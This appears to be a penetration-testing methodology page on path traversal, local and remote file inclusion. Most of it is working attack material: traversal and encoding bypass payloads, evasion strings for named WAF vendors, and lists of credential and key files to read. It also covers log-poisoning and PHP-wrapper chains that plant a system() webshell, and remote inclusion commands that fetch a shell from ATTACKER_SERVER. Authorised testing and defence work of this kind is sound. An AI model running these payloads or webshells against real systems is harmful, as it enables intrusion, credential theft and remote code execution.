Skip to main content
CWECWE-22, CWE-98
WSTGWSTG-ATHZ-01
MITRE ATT&CKT1083
CVSS Range5.3-9.8
Toolsdotdotpwn
Difficulty🟡 intermediate

Path Traversal

Path Traversal vulnerabilities let attackers escape the intended directory via sequences like ../ to read arbitrary files. When the application includes or executes the accessed file, this escalates to Local File Inclusion (LFI) or Remote File Inclusion (RFI), potentially achieving full RCE.

Quick Reference​

Common traversal sequences to test first:

SequencePlatformNotes
../../../etc/passwdUnixBasic relative traversal
..\..\..\..\windows\win.iniWindowsBackslash traversal
....//....//....//etc/passwdUnixDouble-dot bypass
..%2f..%2f..%2fetc%2fpasswdUnixURL-encoded
..%252f..%252f..%252fetc%252fpasswdUnixDouble URL-encoded
..%c0%af..%c0%af..%c0%afetc/passwdUnixUTF-8 overlong
../../../etc/passwd%00.jpgAnyNull byte + extension
/etc/passwdUnixAbsolute path (direct)

Vulnerable parameter names to check:

file        filename    filepath    path        name
page template include module document
doc folder directory dir load
action content site lang language
view cat category read download
style css layout theme skin
img image src source pdf
report log config conf data

Also check cookie values, HTTP headers, and API endpoints (/api/download?file=, /api/export?format=).

Identify and Test Basic Traversal​

Step 1: Identify Injection Points​

Look for any parameter that may feed into file operations. Check URL parameters, form fields, cookies, HTTP headers, and REST path segments.

Step 2: Test Basic Sequences​

Start with simple detection payloads, incrementing depth:

# Unix - test incrementally until you hit root
for i in $(seq 1 15); do
payload=$(printf '../%.0s' $(seq 1 $i))
curl -s "https://TARGET/endpoint?file=${payload}etc/passwd"
done

# Windows
curl -s "https://TARGET/endpoint?file=..\\..\\..\\windows\\win.ini"
curl -s "https://TARGET/endpoint?file=..%5c..%5c..%5cwindows%5cwin.ini"

Mixed sequences for applications that normalize:

..\/
..\\../
..\\/..
..%2f
..%5c..%2f

Step 3: Analyze Responses​

Vulnerable indicators:

  • File contents returned in the response body
  • Different error messages for existing vs non-existing files (e.g., "Permission denied" vs "File not found")
  • File metadata returned (size, modification time)
  • Timing differences based on file existence
  • Application behavior changes based on included file

False positive indicators:

  • Generic error for all malformed input
  • Input reflected without processing
  • Consistent response regardless of path

Step 4: Blind Path Traversal​

When you cannot see file contents directly:

# Time-based oracle
time curl -s "https://TARGET/endpoint?file=../../../etc/passwd"
time curl -s "https://TARGET/endpoint?file=../../../etc/nonexistent"

# Error-based oracle - look for different error text
curl -s "https://TARGET/endpoint?file=../../../etc/passwd" # "Permission denied"
curl -s "https://TARGET/endpoint?file=../../../etc/nonexistent" # "File not found"

Encoding Bypass Chains​

When basic sequences are filtered, apply encoding layers systematically.

URL Encoding (Single)​

..%2f              →  ../
..%5c → ..\
%2e%2e%2f → ../
%2e%2e/ → ../
%2e%2e%5c → ..\

URL Encoding (Double)​

The server decodes once, the application decodes again:

..%252f            →  decoded once: ..%2f  →  decoded twice: ../
%252e%252e%252f → full double encoding of ../
..%255c → Windows double-encoded backslash

Unicode / UTF-8 Encoding​

..%c0%af           →  UTF-8 encoded /
..%c1%9c → UTF-8 encoded \
%c0%2e%c0%2e/ → UTF-8 dots
%e0%80%af → Overlong UTF-8 /
..%ef%bc%8f → Full-width /

Overlong UTF-8 Representations​

%c0%ae             →  Overlong . (period)
%c0%2e → Another overlong .
%e0%40%ae → Three-byte overlong .
%c0%af → Overlong /
%c0%5c → Overlong \

16-Bit Unicode Encoding​

..%u002f           →  Unicode /
..%u005c → Unicode \
%u002e%u002e/ → Unicode dots

Null Byte Injection​

For applications that append extensions (e.g., .php, .jpg), null bytes may terminate the string early:

../../../etc/passwd%00
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png
../../../etc/passwd\0
../../../etc/passwd\x00

Null byte injection is largely fixed in modern PHP (5.3.4+), Python 3, and other modern runtimes, but always test on legacy systems.

Target Files​

Unix Sensitive Files​

/etc/passwd                         # User enumeration
/etc/shadow # Password hashes (requires root)
/etc/hosts # Internal hostnames
/etc/hostname # Server hostname
/etc/issue # OS version info
/etc/motd # Message of the day
/etc/apache2/apache2.conf # Apache config
/etc/nginx/nginx.conf # Nginx config
/etc/mysql/my.cnf # MySQL config
/var/log/apache2/access.log # Apache access logs
/var/log/apache2/error.log # Apache error logs
/var/log/nginx/access.log # Nginx access logs
/var/log/nginx/error.log # Nginx error logs
/var/log/auth.log # Authentication logs
/var/log/mail.log # Mail logs
/var/log/vsftpd.log # FTP logs
/proc/version # Kernel version
/proc/self/environ # Environment variables (often contains secrets)
/proc/self/cmdline # Process command line
/proc/net/tcp # Network connections
/home/[user]/.bash_history # Command history
/home/[user]/.ssh/id_rsa # SSH private keys
/home/[user]/.ssh/authorized_keys # Authorized SSH keys
/root/.bash_history # Root command history
/root/.ssh/id_rsa # Root SSH private key

Windows Sensitive Files​

C:\Windows\win.ini
C:\Windows\System32\config\SAM # Requires admin
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\mysql\data\mysql.err
C:\Windows\debug\NetSetup.log
C:\Windows\System32\LogFiles\
C:\Users\[username]\Desktop\
C:\Users\[username]\.ssh\id_rsa

Application Config Files​

.env                            # Environment variables, credentials
.git/config # Git configuration, remote URLs
.git/HEAD # Git HEAD reference
config.php # PHP config
wp-config.php # WordPress (DB creds, auth keys)
configuration.php # Joomla config
settings.py # Django settings
database.yml # Rails database config
.htaccess # Apache directory config
web.xml # Java web app descriptor
context.xml # Tomcat context
application.properties # Spring Boot config
application.yml # Spring Boot YAML config
appsettings.json # .NET Core config
package.json # Node.js dependencies
.env.local / .env.production # Framework-specific env files

Hidden Files and Directories (Brute-force Targets)​

Always check for exposed hidden files and directories:

/.env
/.git/
/.git/config
/.gitignore
/.bak
/.old
/.swp
/robots.txt # Review for hidden directories
/sitemap.xml # Review for hidden paths
/.htpasswd
/.DS_Store
/backup/
/admin/
/debug/

Review robots.txt and sitemap.xml entries for disallowed or unlisted directories that may contain sensitive content.

Cloud Metadata Endpoints (SSRF Chain)​

If traversal can reach network-accessible resources:

# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/

# Azure
http://169.254.169.254/metadata/instance
http://169.254.169.254/metadata/identity/oauth2/token

Escalate LFI to RCE​

Once you confirm LFI (ability to include/execute local files), attempt these escalation techniques.

Log Poisoning​

The most reliable LFI-to-RCE technique. Inject code into a log file, then include that log via LFI.

Apache Access Log (/var/log/apache2/access.log):

# Step 1: Poison the log via User-Agent header
curl -A "<?php system(\$_GET['cmd']); ?>" https://TARGET/

# Step 2: Include the poisoned log
curl "https://TARGET/vuln.php?file=../../../var/log/apache2/access.log&cmd=id"

Apache Error Log (/var/log/apache2/error.log):

# Trigger an error containing payload
curl "https://TARGET/<?php system(\$_GET['cmd']); ?>"

# Include error log
curl "https://TARGET/vuln.php?file=../../../var/log/apache2/error.log&cmd=id"

Nginx Logs (/var/log/nginx/access.log, /var/log/nginx/error.log): Same technique as Apache.

SSH Auth Log (/var/log/auth.log):

# Attempt SSH login with PHP code as username
ssh '<?php system($_GET["cmd"]); ?>'@TARGET

# Include the auth log
curl "https://TARGET/vuln.php?file=../../../var/log/auth.log&cmd=id"

Mail Log (/var/log/mail.log):

mail -s "<?php system(\$_GET['cmd']); ?>" victim@TARGET < /dev/null
curl "https://TARGET/vuln.php?file=../../../var/log/mail.log&cmd=id"

FTP Log (/var/log/vsftpd.log):

# Login attempt with PHP code as username
ftp TARGET
# Username: <?php system($_GET['cmd']); ?>

/proc/self Exploitation​

/proc/self/environ -- Process environment variables often contain injected headers:

# Inject payload via User-Agent (stored in environ on some configs)
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" \
"https://TARGET/vuln.php?file=../../../proc/self/environ&cmd=id"

/proc/self/fd -- File descriptors may reference POST data or open log handles:

for fd in $(seq 0 50); do
curl -X POST "https://TARGET/vuln.php?file=../../../proc/self/fd/$fd" \
-d "<?php system('id'); ?>" 2>/dev/null | grep -q "uid=" && echo "FD $fd works!"
done

/proc/self/cmdline -- May reveal sensitive command-line arguments (passwords, keys):

curl "https://TARGET/vuln.php?file=../../../proc/self/cmdline"

PHP Wrappers​

These work when the backend is PHP.

php://filter -- Read source code as base64 (always works with LFI, no special config needed):

curl "https://TARGET/vuln.php?file=php://filter/convert.base64-encode/resource=config.php"
curl "https://TARGET/vuln.php?file=php://filter/read=convert.base64-encode/resource=index.php"
curl "https://TARGET/vuln.php?file=php://filter/convert.base64-encode/resource=../../../etc/passwd"

php://input -- Direct code execution (requires allow_url_include=On):

curl -X POST "https://TARGET/vuln.php?file=php://input" \
-d "<?php system('id'); ?>"

data:// -- Direct code execution (requires allow_url_include=On):

# Base64 encoded payload
curl "https://TARGET/vuln.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id"

# Plain text
curl "https://TARGET/vuln.php?file=data://text/plain,<?php system('id'); ?>"

expect:// -- Direct command execution (requires expect extension, rare):

curl "https://TARGET/vuln.php?file=expect://id"

zip:// -- Include PHP from inside a ZIP archive:

# Create malicious ZIP
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip evil.zip shell.php

# Upload the ZIP, then include from it
curl "https://TARGET/vuln.php?file=zip://uploads/evil.zip%23shell.php&cmd=id"

phar:// -- Include PHP from a PHAR archive:

curl "https://TARGET/vuln.php?file=phar://uploads/evil.phar/shell.php"

Session Files​

PHP session files can be poisoned if you control any session variable:

# Step 1: Set a session variable containing PHP code
curl -b "PHPSESSID=attacker_session" "https://TARGET/page?lang=<?php system('id'); ?>"

# Step 2: Include the session file (default paths)
curl "https://TARGET/vuln.php?file=../../../tmp/sess_attacker_session"
curl "https://TARGET/vuln.php?file=../../../var/lib/php/sessions/sess_attacker_session"

Test Remote File Inclusion​

Remote File Inclusion requires allow_url_include=On (disabled by default in PHP 5.2+). Always test even if unlikely.

Basic RFI:

# Host malicious PHP on attacker server (use .txt to avoid local execution)
echo '<?php system($_GET["cmd"]); ?>' > shell.txt

curl "https://TARGET/vuln.php?file=http://ATTACKER_SERVER/shell.txt&cmd=id"
curl "https://TARGET/vuln.php?file=https://ATTACKER_SERVER/shell.txt&cmd=id"

FTP-based RFI:

curl "https://TARGET/vuln.php?file=ftp://ATTACKER_SERVER/shell.txt"

SMB-based RFI (Windows targets):

curl "https://TARGET/vuln.php?file=\\\\ATTACKER_SERVER\\share\\shell.php"

Bypassing extension appending:

http://ATTACKER_SERVER/shell.txt%00
http://ATTACKER_SERVER/shell.txt?
http://ATTACKER_SERVER/shell.txt%23

Bypass Filters​

When simple traversal sequences are blocked, escalate through these techniques.

Nested/Double Sequences​

If the application strips ../ non-recursively:

....//....//....//etc/passwd
..../..../..../etc/passwd
....\\....\\....\\etc/passwd
....\/....\/....\/etc/passwd

Dot Segment Abuse​

/..;/..;/etc/passwd               # Semicolon bypass (Tomcat-specific)
/../../../etc/passwd # Leading slash
/....//....//etc/passwd # Double sequence
//....//....//etc/passwd # Double leading slash

Path Parameter Injection​

When paths are passed as URL path segments:

/api/files/../../../etc/passwd
/download/file/../../../etc/passwd
/static/../../../etc/passwd

Prefix Bypass​

If the application prepends a directory:

file=../uploads/../../../etc/passwd
file=./../../../../etc/passwd
file=/var/www/../../etc/passwd

Absolute Path​

If the application uses input directly without prepending:

file=/etc/passwd
file=C:\windows\win.ini

Fragment and Query String Abuse​

../../../etc/passwd#
../../../etc/passwd?
../../../etc/passwd?.jpg
../../../etc/passwd#.jpg

Protocol Handler Abuse​

file:///etc/passwd
file://localhost/etc/passwd
file://127.0.0.1/etc/passwd
netdoc:///etc/passwd

Case Sensitivity (Windows)​

On case-insensitive filesystems:

..\..\..\..\Windows\win.ini
..\..\..\..\WINDOWS\WIN.INI
..\..\..\..\WiNdOwS\WiN.InI

Path Truncation (Legacy Systems)​

Exceed max path length to truncate an appended extension:

../../../etc/passwd/./././.[repeat 1000+ times]

Upload + Traversal Chaining​

# Upload with traversal in filename
curl -F "file=@shell.php;filename=../../../var/www/html/shell.php" https://TARGET/upload

# ZIP Slip attack
curl -F "file=@evil.zip" https://TARGET/upload_extract

Evade WAFs​

Cloudflare​

..%252f..%252f..%252fetc%252fpasswd
..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd
..%c0%af..%c0%af..%c0%afetc/passwd

ModSecurity​

../ / ../etc/passwd
../../../etc/passwd--
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Akamai​

/./././../../../etc/passwd
/./../../../etc/passwd

General WAF Evasion Principles​

  1. Use multiple encoding layers (single encode, double encode, UTF-8 overlong)
  2. Mix different encoding schemes within the same payload
  3. Add legitimate-looking suffixes (.jpg, .png)
  4. Break up suspicious patterns with allowed characters
  5. Use protocol-specific features (file://, zip://)
  6. Test with and without URL encoding of the target filename itself

Build the PoC​

Verification Levels​

L1 -- Basic Confirmation (minimum for a valid finding):

  • Successfully read a known system file (e.g., /etc/passwd on Linux, win.ini on Windows)
  • Response contains recognizable file content
  • Payload demonstrates traversal (not just direct file access)
  • Capture the full HTTP request showing the traversal payload and the full response showing file contents

L2 -- Sensitive Data Access:

  • Access configuration files containing credentials
  • Access source code, private keys, or database files
  • Capture content (redact secrets appropriately) and explain why the data is sensitive

L3 -- Code Execution:

  • Demonstrate LFI-to-RCE via log poisoning, PHP wrappers, or RFI
  • Show command output confirming execution (id, whoami)
  • Document the full chain step-by-step for reproduction

L4 -- Full System Compromise:

  • Shell access obtained through path traversal chain
  • Prove arbitrary command execution (whoami, id, hostname)
  • List accessible sensitive files and assess lateral movement potential

Evidence Checklist​

Before marking exploitation complete, verify you have:

  • Tested basic traversal sequences (../)
  • Tested Windows-style traversal (..\)
  • Tested URL encoding (%2e%2e%2f)
  • Tested double URL encoding (%252e%252e%252f)
  • Tested Unicode encoding (%c0%ae, etc.)
  • Tested null byte injection (%00)
  • Tested nested/double sequences (....// etc.)
  • Tested absolute paths
  • Tested path depth from 1 to 10+ levels
  • Tested multiple target files (passwd, win.ini, .env, .git/config)
  • Tested all identified parameters
  • Tested header and cookie injection points
  • Tested PHP wrappers (if PHP backend)
  • Tested log poisoning paths (if LFI confirmed)
  • Checked robots.txt and sitemap.xml for hidden directories
  • Brute-forced for hidden files (.env, .git/, .bak, .old)
  • Documented all attempts with responses
  • Captured evidence for successful exploitation
  • Assessed full impact and escalation potential

Tools​

DotDotPwn (Automated Traversal Fuzzer)​

# HTTP module - GET parameter
perl dotdotpwn.pl -m http -h TARGET -x 8080 -f /etc/passwd \
-k "root:" -d 8 -t 200 -s

# HTTP module - URL traversal with placeholder
perl dotdotpwn.pl -m http-url -u "https://TARGET/download?file=TRAVERSAL" \
-f /etc/passwd -k "root:"

# FTP module
perl dotdotpwn.pl -m ftp -h TARGET -f /etc/passwd

Key options: -m module (http, http-url, ftp, tftp, payload, stdout), -f target file, -k success keyword, -d traversal depth (default 6), -t delay between requests (ms), -s SSL mode.

ffuf (File Fuzzing)​

# Enumerate readable files via LFI
ffuf -u "https://TARGET/read?file=../../../FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
-mc 200 -fs 0

# With URL encoding
ffuf -u "https://TARGET/read?file=..%2f..%2f..%2fFUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
-mc 200 -fs 0

# Windows targets
ffuf -u "https://TARGET/read?file=..\\..\\..\\FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt \
-mc 200 -fs 0

Manual curl Testing​

# Basic traversal
curl -s "https://TARGET/read?file=../../../etc/passwd"
curl -s "https://TARGET/read?file=....//....//....//etc/passwd"

# Encoded
curl -s "https://TARGET/read?file=..%2f..%2f..%2fetc%2fpasswd"
curl -s "https://TARGET/read?file=..%252f..%252f..%252fetc%252fpasswd"
curl -s "https://TARGET/read?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Null byte
curl -s "https://TARGET/read?file=../../../etc/passwd%00.jpg"

# Absolute
curl -s "https://TARGET/read?file=/etc/passwd"

# Windows
curl -s "https://TARGET/read?file=..\\..\\..\\windows\\win.ini"

Directory/File Brute-forcing​

Use directory brute-forcing tools to discover hidden files that may be readable via traversal or direct access:

# Discover hidden files and directories
ffuf -u "https://TARGET/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,301,302,403

# Check for backup and config files
ffuf -u "https://TARGET/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
-mc 200

# Check for .git exposure
curl -s "https://TARGET/.git/config"
curl -s "https://TARGET/.git/HEAD"

Framework-Specific File Targets​

WordPress:

/wp-content/plugins/[plugin]/[file].php?file=../../../wp-config.php
/wp-admin/admin-ajax.php?action=some_action&file=../../../wp-config.php
# Target: wp-config.php, wp-includes/version.php, wp-content/debug.log

Laravel:

# Target: .env, config/app.php, config/database.php, storage/logs/laravel.log

Node.js/Express:

# Target: package.json, .env, config/default.json

Spring/Java:

# Target: application.properties, application.yml, WEB-INF/web.xml, META-INF/MANIFEST.MF

ASP.NET:

# Target: web.config, appsettings.json, bin/, App_Data/

Prioritization​

Test these first (highest real-world exploitability)​

  1. Basic traversal on file download/read endpoints -- EPSS >0.6 for path traversal CVEs. File download, export, and template-loading parameters are the most commonly exploited vectors. Test ../../../etc/passwd first.
  2. LFI on PHP applications -- PHP's include()/require() make LFI-to-RCE straightforward via log poisoning or php:// wrappers. If the backend is PHP, this is high priority.
  3. Traversal in file upload filenames -- Upload endpoints that use the original filename for storage are vulnerable to path traversal in the filename itself (ZIP Slip, ../../shell.php).

Test these if time permits (lower exploitability)​

  1. Encoding bypass chains (double URL encoding, UTF-8 overlong) -- Only needed when basic traversal is filtered. Methodically try each encoding layer.
  2. RFI (Remote File Inclusion) -- Requires allow_url_include=On in PHP (disabled by default since PHP 5.2). Rare but devastating when present.
  3. Path truncation and null byte injection -- Largely fixed in modern runtimes (PHP 5.3.4+, Python 3). Only test on legacy systems.

Skip if​

  • Application does not serve files based on user-supplied paths or filenames
  • All file references use database IDs or UUIDs rather than filesystem paths

Note: Containerized environments still contain sensitive files (/etc/passwd, /proc/self/environ, /var/run/secrets/kubernetes.io/serviceaccount/token). Do not skip based on container deployment alone.

Asset criticality​

Prioritize endpoints that access sensitive files: configuration file readers > log viewers > file download endpoints > template loaders > static asset servers. Traversal on endpoints with write capability (upload + traversal) is always higher priority than read-only traversal.